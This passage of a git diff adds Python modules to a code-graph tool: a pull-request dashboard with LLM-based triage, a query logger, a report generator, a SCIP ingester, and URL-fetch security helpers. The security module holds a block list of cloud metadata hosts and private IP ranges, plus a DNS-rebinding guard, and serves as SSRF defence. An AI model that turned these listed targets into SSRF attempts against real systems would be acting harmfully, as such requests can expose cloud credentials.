No community overlap between open PRs - safe to merge in any order.\n")) + return + + print() + print(bold(" Community conflicts (PRs sharing the same graph community)")) + print() + labels = community_labels or {} + for comm, ps in sorted(conflicts.items(), key=lambda x: -len(x[1])): + comm_label_str = "" + if comm in labels and labels[comm]: + comm_label_str = dim(" — " + ", ".join(labels[comm])) + print(f" {yellow(f'Community {comm}')}{comm_label_str} ({len(ps)} PRs overlap)") + for pr in ps: + print(f" #{pr.number:4} {_pad(_status_color(pr.status), 13)} {_truncate(pr.title, 55)}") + print() + + +def render_pr_detail(pr: PRInfo, repo: str | None = None) -> None: + print() + print(bold(f" PR #{pr.number} · {_status_color(pr.status)}")) + print(f" {pr.title}") + print() + print(f" {dim('branch:')} {pr.branch} -> {pr.base_branch}") + print(f" {dim('author:')} {pr.author}") + print(f" {dim('updated:')} {pr.days_old}d ago") + print(f" {dim('CI:')} {_ci_icon(pr.ci_status)} {pr.ci_status}") + if pr.review_decision: + print(f" {dim('review:')} {pr.review_decision}") + if pr.worktree_path: + print(f" {dim('worktree:')} {cyan(pr.worktree_path)}") + if pr.blast_radius: + print() + print(f" {bold('Graph impact:')} {pr.blast_radius}") + print(f" {dim('communities:')} {pr.communities_touched}") + if pr.files_changed: + print(f" {dim('files changed:')} {len(pr.files_changed)}") + for f in pr.files_changed[:10]: + print(f" {dim(f)}") + if len(pr.files_changed) > 10: + print(dim(f" … and {len(pr.files_changed) - 10} more")) + print() + + +# ── Triage (multi-backend) ──────────────────────────────────────────────────── + +# Best model per backend for reasoning tasks (different from extraction defaults) +_TRIAGE_MODEL_DEFAULTS: dict[str, str] = { + "claude": "claude-opus-4-7", + "kimi": "kimi-k2.6", + "openai": "gpt-4.1-mini", + "gemini": "gemini-3-flash-preview", +} + + +def _resolve_triage_backend() -> tuple[str, str]: + """Return (backend, model) using GRAPHIFY_TRIAGE_BACKEND or first available key.""" + from graphify.llm import BACKENDS, _get_backend_api_key, _default_model_for_backend + + explicit = os.environ.get("GRAPHIFY_TRIAGE_BACKEND", "").strip() + if explicit in BACKENDS: + model = (os.environ.get("GRAPHIFY_TRIAGE_MODEL") + or _TRIAGE_MODEL_DEFAULTS.get(explicit) + or _default_model_for_backend(explicit)) + return explicit, model + + for b in ("claude", "kimi", "openai", "gemini"): + if _get_backend_api_key(b): + model = (os.environ.get("GRAPHIFY_TRIAGE_MODEL") + or _TRIAGE_MODEL_DEFAULTS.get(b) + or _default_model_for_backend(b)) + return b, model + + import shutil + if shutil.which("claude"): + return "claude-cli", "claude-code-plan" + + return "ollama", _default_model_for_backend("ollama") + + +def triage_with_opus(prs: list[PRInfo], base: str) -> None: + try: + from graphify.llm import BACKENDS, _get_backend_api_key + except ImportError: + print(red(" graphify.llm not available - cannot run triage."), file=sys.stderr) + sys.exit(1) + + candidates = [p for p in prs if p.base_branch == base and p.status not in ("WRONG-BASE", "STALE")] + if not candidates: + print(dim(" No actionable PRs to triage.")) + return + + lines = [] + for pr in candidates: + impact = f", blast_radius={pr.blast_radius}" if pr.blast_radius else "" + lines.append( + f"PR #{pr.number} [{pr.status}] CI={pr.ci_status} review={pr.review_decision or 'none'} " + f"age={pr.days_old}d author={pr.author}{impact}\n title: {pr.title}" + ) + + prompt = ( + "You are a senior engineer helping triage a PR review queue. " + "Given these open PRs, rank them by review priority for the repo maintainer. " + "For each PR give: priority number, one sentence on what action to take and why. " + "Be direct and specific. Format each as: #.\n\n" + + "\n\n".join(lines) + ) + + try: + backend, model = _resolve_triage_backend() + except Exception as e: + print(red(f" Could not resolve triage backend: {e}"), file=sys.stderr) + sys.exit(1) + + print() + print(bold(" Triage") + dim(f" ({backend} / {model})")) + print() + + try: + if backend == "claude": + import anthropic + client = anthropic.Anthropic(api_key=_get_backend_api_key("claude")) + with client.messages.stream( + model=model, max_tokens=1024, + messages=[{"role": "user", "content": prompt}], + ) as stream: + print(" ", end="", flush=True) + for text in stream.text_stream: + print(text.replace("\n", "\n "), end="", flush=True) + print("\n") + + elif backend in ("kimi", "openai", "gemini", "ollama"): + from openai import OpenAI + cfg = BACKENDS[backend] + api_key = _get_backend_api_key(backend) or "ollama" + client = OpenAI(api_key=api_key, base_url=cfg.get("base_url", "")) + with client.chat.completions.create( + model=model, max_tokens=1024, stream=True, + messages=[{"role": "user", "content": prompt}], + ) as stream: + print(" ", end="", flush=True) + for chunk in stream: + delta = chunk.choices[0].delta.content if chunk.choices else None + if delta: + print(delta.replace("\n", "\n "), end="", flush=True) + print("\n") + + elif backend == "claude-cli": + import subprocess as _sp + proc = _sp.run( + ["claude", "-p", "--no-session-persistence"], + input=prompt, capture_output=True, text=True, timeout=120, + ) + if proc.returncode != 0: + print(red(f" claude -p failed: {proc.stderr.strip()[:300]}"), file=sys.stderr) + else: + try: + result = json.loads(proc.stdout).get("result") or proc.stdout + except json.JSONDecodeError: + result = proc.stdout + for line in result.splitlines(): + print(f" {line}") + print() + + except Exception as e: + print(f"\n\n {red(f'Triage failed: {e}')}", file=sys.stderr) + + +# ── Entry point ─────────────────────────────────────────────────────────────── + +def cmd_prs(argv: list[str]) -> None: + base: str | None = None # auto-detected from repo if not given + repo: str | None = None + do_triage = False + do_worktrees = False + do_conflicts = False + show_wrong_base = False + pr_number: int | None = None + graph_path = Path("graphify-out/graph.json") + + i = 0 + while i < len(argv): + arg = argv[i] + if arg == "--triage": + do_triage = True + elif arg == "--worktrees": + do_worktrees = True + elif arg == "--conflicts": + do_conflicts = True + elif arg == "--wrong-base": + show_wrong_base = True + elif arg in ("--base", "-b") and i + 1 < len(argv): + base = argv[i + 1]; i += 1 + elif arg.startswith("--base="): + base = arg.split("=", 1)[1] + elif arg in ("--repo", "-R") and i + 1 < len(argv): + repo = argv[i + 1]; i += 1 + elif arg.startswith("--graph="): + graph_path = Path(arg.split("=", 1)[1]) + elif arg == "--graph" and i + 1 < len(argv): + graph_path = Path(argv[i + 1]); i += 1 + elif arg.lstrip("#").isdigit(): + pr_number = int(arg.lstrip("#")) + elif arg in ("-h", "--help"): + print(__doc__) + return + i += 1 + + if base is None: + base = _detect_default_branch(repo) + + try: + prs = fetch_prs(repo=repo, base=base) + except RuntimeError as e: + print(red(f" Error: {e}"), file=sys.stderr) + sys.exit(1) + + worktrees = fetch_worktrees() + for pr in prs: + pr.worktree_path = worktrees.get(pr.branch) + + # Graph impact is expensive (concurrent gh pr diff calls) — only fetch when + # the user actually needs it: deep dive, triage, and conflict detection. + community_labels: dict[int, list[str]] = {} + needs_impact = graph_path.exists() and (pr_number is not None or do_triage or do_conflicts) + if needs_impact: + community_labels = attach_graph_impact(prs, graph_path, repo) + + if pr_number is not None: + match = next((p for p in prs if p.number == pr_number), None) + if not match: + print(red(f" PR #{pr_number} not found in open PRs."), file=sys.stderr) + sys.exit(1) + render_pr_detail(match, repo) + return + + if do_triage: + render_dashboard(prs, base, show_wrong_base) + triage_with_opus(prs, base) + return + + if do_worktrees: + render_worktrees(prs, worktrees) + return + + if do_conflicts: + render_dashboard(prs, base, show_wrong_base) + render_conflicts(prs, base, community_labels) + return + + render_dashboard(prs, base, show_wrong_base) diff --git a/skills/graphify/querylog.py b/skills/graphify/querylog.py new file mode 100644 index 00000000..1bee5b24 --- /dev/null +++ b/skills/graphify/querylog.py @@ -0,0 +1,70 @@ +"""Query logging for graphify — append-only JSONL, fail-silent.""" +from __future__ import annotations + +import json +import os +import re +import time +from datetime import datetime, timezone +from pathlib import Path +from typing import Any + +_NODES_RE = re.compile(r"(\d+)\s+nodes?\s+found") + + +def _log_path() -> Path | None: + if os.environ.get("GRAPHIFY_QUERY_LOG_DISABLE", "").lower() in ("1", "true", "yes"): + return None + override = os.environ.get("GRAPHIFY_QUERY_LOG", "").strip() + if override: + return Path(override).expanduser() + return Path.home() / ".cache" / "graphify-queries.log" + + +def _log_responses() -> bool: + return os.environ.get("GRAPHIFY_QUERY_LOG_RESPONSES", "").lower() in ("1", "true", "yes") + + +def nodes_from_result(result: str) -> int | None: + m = _NODES_RE.search(result or "") + return int(m.group(1)) if m else None + + +def log_query( + *, + kind: str, + question: str, + corpus: str, + result: str | None = None, + nodes_returned: int | None = None, + duration_ms: float | None = None, + **extra: Any, +) -> None: + """Append one JSONL record to the query log. Never raises.""" + try: + path = _log_path() + if path is None: + return + if nodes_returned is None and result is not None: + nodes_returned = nodes_from_result(result) + rec: dict[str, Any] = { + "ts": datetime.now(timezone.utc).isoformat(), + "kind": kind, + "question": question, + "corpus": corpus, + "nodes_returned": nodes_returned, + } + if result is not None: + rec["result_chars"] = len(result) + if duration_ms is not None: + rec["duration_ms"] = round(duration_ms, 3) + for k, v in extra.items(): + if v is not None: + rec[k] = v + if result is not None and _log_responses(): + rec["response"] = result + path.parent.mkdir(parents=True, exist_ok=True) + with path.open("a", encoding="utf-8") as fh: + fh.write(json.dumps(rec, ensure_ascii=False) + "\n") + except Exception: + pass diff --git a/skills/graphify/report.py b/skills/graphify/report.py new file mode 100644 index 00000000..f0210897 --- /dev/null +++ b/skills/graphify/report.py @@ -0,0 +1,218 @@ +# generate GRAPH_REPORT.md - the human-readable audit trail +from __future__ import annotations +import re +from datetime import date +import networkx as nx + + +def _safe_community_name(label: str) -> str: + """Mirrors export.safe_name so community hub filenames and report wikilinks always agree.""" + cleaned = re.sub(r'[\\/*?:"<>|#^[\]]', "", label.replace("\r\n", " ").replace("\r", " ").replace("\n", " ")).strip() + cleaned = re.sub(r"\.(md|mdx|markdown)$", "", cleaned, flags=re.IGNORECASE) + return cleaned or "unnamed" + + +def generate( + G: nx.Graph, + communities: dict[int, list[str]], + cohesion_scores: dict[int, float], + community_labels: dict[int, str], + god_node_list: list[dict], + surprise_list: list[dict], + detection_result: dict, + token_cost: dict, + root: str, + suggested_questions: list[dict] | None = None, + min_community_size: int = 3, + built_at_commit: str | None = None, +) -> str: + today = date.today().isoformat() + + # JSON deserialization produces string keys; normalize to int so .get(cid) works. + if community_labels: + community_labels = {int(k) if isinstance(k, str) else k: v for k, v in community_labels.items()} + + confidences = [d.get("confidence", "EXTRACTED") for _, _, d in G.edges(data=True)] + total = len(confidences) or 1 + ext_pct = round(confidences.count("EXTRACTED") / total * 100) + inf_pct = round(confidences.count("INFERRED") / total * 100) + amb_pct = round(confidences.count("AMBIGUOUS") / total * 100) + + inf_edges = [(u, v, d) for u, v, d in G.edges(data=True) if d.get("confidence") == "INFERRED"] + inf_scores = [d.get("confidence_score", 0.5) for _, _, d in inf_edges] + inf_avg = round(sum(inf_scores) / len(inf_scores), 2) if inf_scores else None + + lines = [ + f"# Graph Report - {root} ({today})", + "", + "## Corpus Check", + ] + if detection_result.get("warning"): + lines.append(f"- {detection_result['warning']}") + else: + lines += [ + f"- {detection_result['total_files']} files · ~{detection_result['total_words']:,} words", + "- Verdict: corpus is large enough that graph structure adds value.", + ] + + from .analyze import _is_file_node as _ifn + non_empty = {cid: nodes for cid, nodes in communities.items() + if any(not _ifn(G, n) for n in nodes)} + thin_count_summary = sum( + 1 for nodes in communities.values() + if 0 < sum(1 for n in nodes if not _ifn(G, n)) < min_community_size + ) + shown_count = len(communities) - thin_count_summary + + lines += [ + "", + "## Summary", + f"- {G.number_of_nodes()} nodes · {G.number_of_edges()} edges · {len(communities)} communities" + + (f" ({shown_count} shown, {thin_count_summary} thin omitted)" if thin_count_summary else ""), + f"- Extraction: {ext_pct}% EXTRACTED · {inf_pct}% INFERRED · {amb_pct}% AMBIGUOUS" + + (f" · INFERRED: {len(inf_edges)} edges (avg confidence: {inf_avg})" if inf_avg is not None else ""), + f"- Token cost: {token_cost.get('input', 0):,} input · {token_cost.get('output', 0):,} output", + ] + + if built_at_commit: + lines += [ + "", + "## Graph Freshness", + f"- Built from commit: `{built_at_commit[:8]}`", + "- Run `git rev-parse HEAD` and compare to check if the graph is stale.", + "- Run `graphify update .` after code changes (no API cost).", + ] + + # Community hub navigation - links to _COMMUNITY_*.md files in the Obsidian vault. + # Without these, GRAPH_REPORT.md is a dead-end and the vault splits into disconnected components. + if non_empty: + lines += ["", "## Community Hubs (Navigation)"] + for cid in non_empty: + label = community_labels.get(cid, f"Community {cid}") + safe = _safe_community_name(label) + lines.append(f"- [[_COMMUNITY_{safe}|{label}]]") + + lines += [ + "", + "## God Nodes (most connected - your core abstractions)", + ] + for i, node in enumerate(god_node_list, 1): + lines.append(f"{i}. `{node['label']}` - {node['degree']} edges") + + lines += ["", "## Surprising Connections (you probably didn't know these)"] + if surprise_list: + for s in surprise_list: + relation = s.get("relation", "related_to") + note = s.get("note", "") + files = s.get("source_files", ["", ""]) + conf = s.get("confidence", "EXTRACTED") + cscore = s.get("confidence_score") + if conf == "INFERRED" and cscore is not None: + conf_tag = f"INFERRED {cscore:.2f}" + else: + conf_tag = conf + sem_tag = " [semantically similar]" if relation == "semantically_similar_to" else "" + lines += [ + f"- `{s['source']}` --{relation}--> `{s['target']}` [{conf_tag}]{sem_tag}", + f" {files[0]} → {files[1]}" + (f" _{note}_" if note else ""), + ] + else: + lines.append("- None detected - all connections are within the same source files.") + + # Circular imports surfaced from file-level dependency graph. + from .analyze import find_import_cycles + cycles = find_import_cycles(G) + lines += ["", "## Import Cycles"] + if cycles: + for c in cycles: + cycle = c.get("cycle", []) + length = c.get("length", len(cycle)) + if not cycle: + continue + cycle_path = " -> ".join(cycle + [cycle[0]]) + lines.append(f"- {length}-file cycle: `{cycle_path}`") + else: + lines.append("- None detected.") + + hyperedges = G.graph.get("hyperedges", []) + if hyperedges: + lines += ["", "## Hyperedges (group relationships)"] + for h in hyperedges: + node_labels = ", ".join(h.get("nodes", [])) + conf = h.get("confidence", "INFERRED") + cscore = h.get("confidence_score") + conf_tag = f"{conf} {cscore:.2f}" if cscore is not None else conf + lines.append(f"- **{h.get('label', h.get('id', ''))}** — {node_labels} [{conf_tag}]") + + lines += ["", f"## Communities ({len(communities)} total, {thin_count_summary} thin omitted)"] + for cid, nodes in communities.items(): + label = community_labels.get(cid, f"Community {cid}") + score = cohesion_scores.get(cid, 0.0) + # Filter method/function stubs from display - they're structural noise + real_nodes = [n for n in nodes if not _ifn(G, n)] + if not real_nodes: + continue + if len(real_nodes) < min_community_size: + continue + display = [G.nodes[n].get("label", n) for n in real_nodes[:8]] + suffix = f" (+{len(real_nodes)-8} more)" if len(real_nodes) > 8 else "" + lines += [ + "", + f"### Community {cid} - \"{label}\"", + f"Cohesion: {score:.2f}", + f"Nodes ({len(real_nodes)}): {', '.join(display)}{suffix}", + ] + + ambiguous = [(u, v, d) for u, v, d in G.edges(data=True) if d.get("confidence") == "AMBIGUOUS"] + if ambiguous: + lines += ["", "## Ambiguous Edges - Review These"] + for u, v, d in ambiguous: + ul = G.nodes[u].get("label", u) + vl = G.nodes[v].get("label", v) + lines += [ + f"- `{ul}` → `{vl}` [AMBIGUOUS]", + f" {d.get('source_file', '')} · relation: {d.get('relation', 'unknown')}", + ] + + # --- Gaps section --- + from .analyze import _is_file_node, _is_concept_node + + isolated = [ + n for n in G.nodes() + if G.degree(n) <= 1 + and not _is_file_node(G, n) + and not _is_concept_node(G, n) + and G.nodes[n].get("file_type") != "rationale" + ] + thin_communities = { + cid: nodes for cid, nodes in communities.items() + if 0 < sum(1 for n in nodes if not _is_file_node(G, n)) < 3 + } + gap_count = len(isolated) + len(thin_communities) + + if gap_count > 0 or amb_pct > 20: + lines += ["", "## Knowledge Gaps"] + if isolated: + isolated_labels = [G.nodes[n].get("label", n) for n in isolated[:5]] + suffix = f" (+{len(isolated)-5} more)" if len(isolated) > 5 else "" + lines.append(f"- **{len(isolated)} isolated node(s):** {', '.join(f'`{l}`' for l in isolated_labels)}{suffix}") + lines.append(" These have ≤1 connection - possible missing edges or undocumented components.") + if thin_communities: + lines.append(f"- **{len(thin_communities)} thin communities (<{min_community_size} nodes) omitted from report** — run `graphify query` to explore isolated nodes.") + if amb_pct > 20: + lines.append(f"- **High ambiguity: {amb_pct}% of edges are AMBIGUOUS.** Review the Ambiguous Edges section above.") + + if suggested_questions: + lines += ["", "## Suggested Questions"] + no_signal = len(suggested_questions) == 1 and suggested_questions[0].get("type") == "no_signal" + if no_signal: + lines.append(f"_{suggested_questions[0]['why']}_") + else: + lines.append("_Questions this graph is uniquely positioned to answer:_") + lines.append("") + for q in suggested_questions: + if q.get("question"): + lines.append(f"- **{q['question']}**") + lines.append(f" _{q['why']}_") + + return "\n".join(lines) diff --git a/skills/graphify/scip_ingest.py b/skills/graphify/scip_ingest.py new file mode 100644 index 00000000..bf3d1857 --- /dev/null +++ b/skills/graphify/scip_ingest.py @@ -0,0 +1,363 @@ +"""scip_ingest.py — SCIP JSON ingestion (simplified subset). + +Reads a simplified SCIP-style JSON structure and converts it into +Graphify nodes and edges. NOT a full SCIP protobuf implementation — +this is a skeleton that consumes the simplified shape described below. + +Not wired to the CLI in this phase. + +Entry point: + ingest_scip_json(doc: object, source_file: str = "", + language: str = "python") -> dict[str, Any] + + Returns {"nodes": [...], "edges": [...]} compatible with Graphify's + extraction result format. All edges emitted are endpoint-safe — the + function builds a symbol → node_id index in a first pass and either + resolves relationship targets via that index or creates a stub + external node so `build_from_json()` will keep the edge. + +Supported (simplified) JSON shape: + documents[]: { relative_path, language, symbols[] } + symbols[]: { symbol, kind, display_name, documentation[], + relationships[], occurrences[] } + relationships[]: { symbol, is_reference, is_implementation, + is_type_definition, is_definition } + occurrences[]: { range[], symbol, symbol_roles } + +This shape diverges from the official SCIP protobuf (where occurrences +live on the document, not on each symbol). We consume the simplified +shape that LLM-generated SCIP-style JSON commonly produces. Future +cycles may add document-level occurrence support. +""" + +from __future__ import annotations + +import hashlib +import re +from typing import Any + +from graphify.security import sanitize_metadata + + +def ingest_scip_json( + doc: object, + source_file: str = "", + language: str = "python", +) -> dict[str, Any]: + """Convert a SCIP-style JSON document into Graphify nodes and edges. + + Parameter ``doc`` is ``object`` (not ``dict[str, Any]``) because SCIP + documents come from external tools — we may be handed arbitrary + deserialized JSON. The first check rejects anything that isn't a dict + and returns the empty result. + + Two-pass design: + 1. Build a ``symbol_str → node_id`` index across every valid symbol + in every valid document, plus collect per-symbol metadata. + 2. Emit nodes for every indexed symbol and then emit relationship + edges. Relationship targets are resolved via the index when + present; otherwise a stub ``scip_external`` node is added so + edges never dangle. + """ + nodes: list[dict[str, Any]] = [] + edges: list[dict[str, Any]] = [] + seen_node_ids: set[str] = set() + seen_edges: set[tuple[str, str, str, str | None]] = set() + + if not isinstance(doc, dict): + return {"nodes": nodes, "edges": edges} + + documents = doc.get("documents", []) + if not isinstance(documents, list): + return {"nodes": nodes, "edges": edges} + + # ---- pass 1: build symbol → node_id indices ----------------------------- + # Two indices so relationship resolution can be document-aware: + # per_doc: (symbol_id, doc_path) → node_id (same-document precedence) + # global: symbol_id → list[node_id] (cross-document fallback, + # used only when unambiguous) + per_doc_index: dict[tuple[str, str], str] = {} + global_index: dict[str, list[str]] = {} + # Per-symbol metadata kept for pass-2 node emission (avoids re-walking + # the document tree). + symbol_records: list[dict[str, Any]] = [] + for document in documents: + if not isinstance(document, dict): + continue + doc_path = _coerce_str(document.get("relative_path"), source_file) + doc_language = _coerce_str(document.get("language"), language) + symbols = document.get("symbols", []) + if not isinstance(symbols, list): + continue + for symbol in symbols: + if not isinstance(symbol, dict): + continue + symbol_id = _coerce_str(symbol.get("symbol"), "") + if not symbol_id: + continue + node_id = _make_scip_node_id(symbol_id, doc_path) + per_doc_index.setdefault((symbol_id, doc_path), node_id) + # Dedupe node_ids in the global index — duplicate symbol records + # within the SAME document produce identical node_ids, and we + # don't want them to look like cross-document ambiguity. + candidates = global_index.setdefault(symbol_id, []) + if node_id not in candidates: + candidates.append(node_id) + symbol_records.append( + { + "node_id": node_id, + "symbol_id": symbol_id, + "doc_path": doc_path, + "language": doc_language, + "raw": symbol, + } + ) + + # ---- pass 2: emit nodes + relationship edges ----------------------------- + for record in symbol_records: + _emit_symbol_node(record, nodes, seen_node_ids) + _emit_relationships( + record, + per_doc_index, + global_index, + nodes, + edges, + seen_node_ids, + seen_edges, + ) + + return {"nodes": nodes, "edges": edges} + + +def _emit_symbol_node( + record: dict[str, Any], + nodes: list[dict[str, Any]], + seen_node_ids: set[str], +) -> None: + """Append the canonical node for a SCIP symbol record.""" + node_id = record["node_id"] + if node_id in seen_node_ids: + return + raw = record["raw"] + symbol_id = record["symbol_id"] + doc_path = record["doc_path"] + kind = _coerce_str(raw.get("kind"), "unknown") + display_name = _coerce_str(raw.get("display_name"), "") + documentation = raw.get("documentation", []) + description = "" + if isinstance(documentation, list) and documentation: + first = documentation[0] + if isinstance(first, str): + description = first + occurrences = raw.get("occurrences", []) + sourceline = _first_occurrence_line(occurrences) + suffix = symbol_id.split("#")[-1] if "#" in symbol_id else symbol_id + label = display_name or suffix or symbol_id + seen_node_ids.add(node_id) # label uses display_name or suffix (never empty for valid symbols) + nodes.append( + { + "id": node_id, + "label": label, + "file_type": _scip_kind_to_file_type(kind), + "source_file": doc_path, + "source_location": f"L{sourceline}" if sourceline else "", + "metadata": sanitize_metadata(_build_scip_metadata(symbol_id, kind, description)), + } + ) + + +def _emit_relationships( + record: dict[str, Any], + per_doc_index: dict[tuple[str, str], str], + global_index: dict[str, list[str]], + nodes: list[dict[str, Any]], + edges: list[dict[str, Any]], + seen_node_ids: set[str], + seen_edges: set[tuple[str, str, str, str | None]], +) -> None: + """Append edges (and stub nodes when needed) for a symbol's relationships. + + Relationship target resolution order: + 1. Same-document `(target_symbol, doc_path)` — duplicate local symbol + names across files route to THIS file's symbol, not another's. + 2. Unique cross-document match — when the symbol exists in exactly + one document and that document is different from the source. + 3. Stub external node — for symbols not declared in any document + OR ambiguous duplicates across multiple documents (refusing to + guess silently). + """ + raw = record["raw"] + source_node_id = record["node_id"] + doc_path = record["doc_path"] + occurrences = raw.get("occurrences", []) + sourceline = _first_occurrence_line(occurrences) + relationships = raw.get("relationships") + if not isinstance(relationships, list): + return + for rel in relationships: + if not isinstance(rel, dict): + continue + target_symbol = _coerce_str(rel.get("symbol"), "") + if not target_symbol: + continue + target_node_id = _resolve_relationship_target( + target_symbol, + doc_path, + per_doc_index, + global_index, + ) + if target_node_id is None: + # External relationship target: emit a stub node so the edge + # is never dangling. The stub uses the source document's path + # as its host context. + target_node_id = _make_scip_node_id(target_symbol, doc_path) + if target_node_id not in seen_node_ids: + seen_node_ids.add(target_node_id) + suffix = target_symbol.split("#")[-1] if "#" in target_symbol else target_symbol + nodes.append( + { + "id": target_node_id, + "label": suffix or target_symbol, + "file_type": "code", + "source_file": doc_path, + "source_location": "", + "metadata": sanitize_metadata( + _build_scip_metadata(target_symbol, "external", "") + ), + } + ) + relation = _scip_relation_for(rel) + source_location = f"L{sourceline}" if sourceline else "" + key = (source_node_id, target_node_id, relation, source_location) + if key in seen_edges: + continue + seen_edges.add(key) + edges.append( + { + "source": source_node_id, + "target": target_node_id, + "relation": relation, + "confidence": "EXTRACTED", + "confidence_score": 1.0, + "source_file": doc_path, + "source_location": source_location, + "weight": 1.0, + "context": "scip", + "metadata": sanitize_metadata({"scip_relationship": rel}), + } + ) + + +def _resolve_relationship_target( + target_symbol: str, + source_doc_path: str, + per_doc_index: dict[tuple[str, str], str], + global_index: dict[str, list[str]], +) -> str | None: + """Resolve a SCIP relationship target to an emitted node id, or None. + + Resolution order: + 1. Same-document match — `(target_symbol, source_doc_path)`. + 2. Unique cross-document match — exactly one node id in the global + index for this symbol AND it isn't the same document we already + tried. + 3. None — symbol is either absent globally OR ambiguous (defined in + multiple documents). The caller emits a stub external node. + """ + same_doc = per_doc_index.get((target_symbol, source_doc_path)) + if same_doc is not None: + return same_doc + candidates = global_index.get(target_symbol, []) + if len(candidates) == 1: + return candidates[0] + return None + + +def _is_true(value: object) -> bool: + """Return True only when value is exactly the boolean True. + + Used for SCIP relationship flags. Truthy strings like ``"false"`` are + common in untrusted external JSON and must NOT count as a set flag. + """ + return value is True + + +def _scip_relation_for(rel: dict[str, Any]) -> str: + """Pick the Graphify relation tag for a SCIP relationship dict. + + Flags are accepted only when the value is exactly ``True`` — protects + against truthy-but-misleading values like ``"false"`` in external JSON. + """ + if _is_true(rel.get("is_implementation")): + return "scip_impl" + if _is_true(rel.get("is_type_definition")): + return "scip_typed" + if _is_true(rel.get("is_definition")): + return "scip_def" + return "scip_ref" + + +def _first_occurrence_line(occurrences: object) -> int: + """Read the 1-based line number from the first occurrence range, defensively. + + Note: ``bool`` is a subclass of ``int`` in Python — ``isinstance(True, int)`` + is True. We explicitly exclude booleans so a malformed ``range: [True, …]`` + cannot produce ``source_location = "LTrue"``. + """ + if not isinstance(occurrences, list) or not occurrences: + return 0 + first = occurrences[0] + if not isinstance(first, dict): + return 0 + rng = first.get("range", []) + if not isinstance(rng, list) or len(rng) < 1: + return 0 + line = rng[0] + if isinstance(line, bool) or not isinstance(line, int) or line < 0: + return 0 + return line + + +def _coerce_str(value: object, default: str) -> str: + """Return ``value`` if it is a string, else the ``default`` (also a string).""" + if isinstance(value, str): + return value + if isinstance(default, str): + return default + return "" + + +def _make_scip_node_id(symbol: str, source_file: str) -> str: + """Derive a stable Graphify node ID from a SCIP symbol identifier. + + Uses SHA-1 truncated to 12 hex chars (48 bits). This is an identifier, + not a security boundary — collision risk is acceptable at this scale + given the per-document scoping prefix. + """ + raw = f"{source_file}:{symbol}" + h = hashlib.sha1(raw.encode(), usedforsecurity=False).hexdigest()[:12] + parts = symbol.split("#") + suffix = parts[-1] if parts else symbol + suffix = re.sub(r"[^a-zA-Z0-9_]", "_", suffix).strip("_").lower() + if suffix: + return f"scip_{suffix}_{h}" + return f"scip_{h}" + + +def _scip_kind_to_file_type(kind: str) -> str: + """Map SCIP symbol kind to a Graphify file_type.""" + # All SCIP symbols are code entities (functions, methods, classes, …); + # the `kind` is preserved in metadata for downstream consumers. + _ = kind # acknowledged but not currently used for file_type routing + return "code" + + +def _build_scip_metadata(symbol_id: str, kind: str, description: str) -> dict[str, str]: + """Build metadata for a SCIP node.""" + meta: dict[str, str] = { + "scip_symbol": symbol_id, + "scip_kind": kind, + } + if description: + meta["scip_description"] = description + return meta diff --git a/skills/graphify/security.py b/skills/graphify/security.py new file mode 100644 index 00000000..91b500f6 --- /dev/null +++ b/skills/graphify/security.py @@ -0,0 +1,336 @@ +# Security helpers - URL validation, safe fetch, path guards, label sanitisation +from __future__ import annotations + +import contextlib +import html +import re +import urllib.error +import urllib.parse +import urllib.request +from collections.abc import Mapping +from pathlib import Path +from typing import Any + +import ipaddress +import socket + +_ALLOWED_SCHEMES = {"http", "https"} +_MAX_FETCH_BYTES = 52_428_800 # 50 MB hard cap for binary downloads +_MAX_TEXT_BYTES = 10_485_760 # 10 MB hard cap for HTML / text + +# Graph-load memory-bomb cap: reject .json files larger than this before +# JSON-parsing them into a dict. Without this, a multi-gigabyte (or +# specifically crafted) graph.json can exhaust process memory during +# json.loads + node_link_graph rehydration. +_MAX_GRAPH_FILE_BYTES = 512 * 1024 * 1024 # 512 MiB + +# AWS metadata, link-local, and common cloud metadata endpoints +_BLOCKED_HOSTS = {"metadata.google.internal", "metadata.google.com"} + +# RFC 6598 Shared Address Space (CGN) -- is_private misses this on Python <3.11 +_CGN_NETWORK = ipaddress.ip_network("100.64.0.0/10") + +# RFC 6052 NAT64 Well-Known Prefix -- is_reserved=True in Python but these embed +# public IPv4 addresses and are legitimate public internet traffic, not SSRF vectors. +_NAT64_WKP = ipaddress.ip_network("64:ff9b::/96") + + +# --------------------------------------------------------------------------- +# URL validation +# --------------------------------------------------------------------------- + +def validate_url(url: str) -> str: + """Raise ValueError if *url* is not http or https, or targets a private/internal IP. + + Blocks file://, ftp://, data:, and any other scheme that could be used + for SSRF or local file access. Also blocks requests to private/reserved + IP ranges (127.x, 10.x, 169.254.x, etc.) and cloud metadata endpoints + to prevent SSRF in cloud environments. + """ + parsed = urllib.parse.urlparse(url) + if parsed.scheme.lower() not in _ALLOWED_SCHEMES: + raise ValueError( + f"Blocked URL scheme '{parsed.scheme}' - only http and https are allowed. " + f"Got: {url!r}" + ) + + hostname = parsed.hostname + if hostname: + # Block known cloud metadata hostnames + if hostname.lower() in _BLOCKED_HOSTS: + raise ValueError( + f"Blocked cloud metadata endpoint '{hostname}'. " + f"Got: {url!r}" + ) + + # Resolve hostname and block private/reserved IP ranges + try: + infos = socket.getaddrinfo(hostname, None, socket.AF_UNSPEC, socket.SOCK_STREAM) + for info in infos: + addr = info[4][0] + ip = ipaddress.ip_address(addr) + # For NAT64 addresses, check the embedded IPv4 instead of the wrapper + if isinstance(ip, ipaddress.IPv6Address) and ip in _NAT64_WKP: + embedded = ipaddress.ip_address(int(ip) & 0xFFFFFFFF) + ip = embedded + if ip.is_private or ip.is_reserved or ip.is_loopback or ip.is_link_local or ip in _CGN_NETWORK: + raise ValueError( + f"Blocked private/internal IP {addr} (resolved from '{hostname}'). " + f"Got: {url!r}" + ) + except socket.gaierror as exc: + raise ValueError( + f"DNS resolution failed for '{hostname}': {exc}. Got: {url!r}" + ) from exc + + return url + + +@contextlib.contextmanager +def _ssrf_guarded_socket(): + """Patch socket.getaddrinfo for the duration of a fetch to catch DNS rebinding. + + Validates every IP that urllib resolves so a DNS server cannot return a public IP + for validate_url and swap to a private IP for the actual connection (TOCTOU fix). + Not thread-safe, but graphify is a single-threaded CLI tool. + """ + original = socket.getaddrinfo + + def _guarded(host, port, *args, **kwargs): + results = original(host, port, *args, **kwargs) + for info in results: + addr = info[4][0] + try: + ip = ipaddress.ip_address(addr) + except ValueError: + continue + if ip.is_private or ip.is_reserved or ip.is_loopback or ip.is_link_local or ip in _CGN_NETWORK: + raise OSError( + f"SSRF blocked: IP {addr} resolved from '{host}' is private/reserved" + ) + return results + + socket.getaddrinfo = _guarded + try: + yield + finally: + socket.getaddrinfo = original + + +class 